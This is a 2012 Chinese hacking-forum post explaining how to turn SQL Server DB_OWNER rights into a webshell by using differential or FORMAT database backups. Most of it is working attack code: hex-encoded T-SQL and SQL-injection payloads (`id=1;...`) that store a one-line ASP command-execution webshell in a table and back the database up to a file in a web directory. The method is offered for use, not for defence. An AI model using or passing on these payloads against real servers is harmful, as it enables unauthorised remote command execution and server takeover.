找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2104|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:2 I/ M& V. g( J# v: P' ?# l

* c8 x" Y3 N" S7 ?# m5 r) ]) t减少备份文件大小,得到可执行的webshell成功率提高不少
# a. q4 S+ X( A) u+ Y一利用差异备份
. Z+ K5 V8 k; T  T加一个参数WITH DIFFERENTIAL1 s. F( T8 U& C8 g8 s( `# `* h" ?

+ @5 d; J, |% @6 E2 B10 z( J0 e* Z7 @6 r! j9 y
25 P* k6 y' g1 L+ k: v
3
$ B+ U8 u* f, [48 `9 B8 Y1 S  j7 A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s% O6 D3 v  [/ N4 L% k8 v
create table [dbo].[xiaolu] ([cmd] [image]);
. n2 N% ]0 m/ [) C0 c( Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)# t2 i* j, K6 X* u8 o3 L6 n
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
( Z; R1 x' h3 Q7 ]- M4 {  M: i! a1 G2 I: E& R! }% J. d2 ^
二利用完全FORMAT6 |" [) e1 m) O
加一个参数WITH FROMAT2 h3 r1 J: @0 M- G, X2 D3 h
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
# w0 A5 I6 A" A5 X$ f% u% X
6 v+ O" i) q2 @9 f6 J0 d- s) `# `18 P+ u  |4 a3 S+ l
2. P/ O- P; e' T0 _" m
3/ F! A1 c5 N/ m
48 L2 q2 R; q  N% Q1 w
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
* Q6 ]0 m2 Q9 H) M' t8 Xcreate table [dbo].[xiaolu] ([cmd] [image]);
  l" r% b  Q8 N! M8 P! }& Qinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 O" g, `6 m& W% U. @declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
9 u& K% H6 _8 Z9 D3 @8 N& d* y1 E0 V$ x
总的来说就是那么简单几句,下面以备份数据库model为例子
9 R, f: }! c5 E* d) f$ x, {11 K' H3 p7 Y9 g" x4 c

$ o9 _6 h' b4 e1% O- K( d5 g/ A% |; Z; ]4 q7 ]+ e
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
" J; n% S1 K2 \* L9 m' s0 a! L$ O5 p, o5 a/ ?0 T) S6 p
2
8 R. n7 t) L6 \# n* g; p7 h; e2 A2 }8 ?
% W5 {. T. [; |3 ~1
. S9 Z& f3 m9 c# p id=1;backup database model to disk='你的路径‘ with differential,format;--
- K% Y* h& T% _4 V& [2 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表